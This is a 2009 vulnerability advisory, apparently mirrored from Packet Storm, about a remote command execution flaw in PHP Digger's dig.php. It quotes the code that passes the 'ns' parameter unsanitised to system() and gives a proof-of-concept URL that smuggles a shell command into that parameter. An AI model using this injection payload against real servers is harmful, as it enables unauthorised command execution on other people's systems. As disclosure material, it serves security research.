Lucene search
K

DNS Tools Remote Command Execution

🗓️ 16 Apr 2009 00:00:00Reported by SirGodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

DNS Tools Remote Command Execution vulnerability in PHP Digge

Code
`############################################################################################  
[+] DNS Tools (PHP Digger) Remote Command Execution  
[+] Discovered By SirGod  
[+] www.mortal-team.org  
[+] www.h4cky0u.org  
############################################################################################  
  
[+] Remote Command Execution  
  
- Vulnerable code in dig.php  
  
------------------------------------------  
$ns = $_GET['ns'];  
  
system ("dig @$ns $host $query_type");  
------------------------------------------  
  
We can execute commands via "ns" variable.Just use || before and after  
the command.  
  
PoC :  
  
http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging  
  
Example :  
  
http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging  
  
############################################################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2009 00:00Current
0.5Low risk
Vulners AI Score0.5
18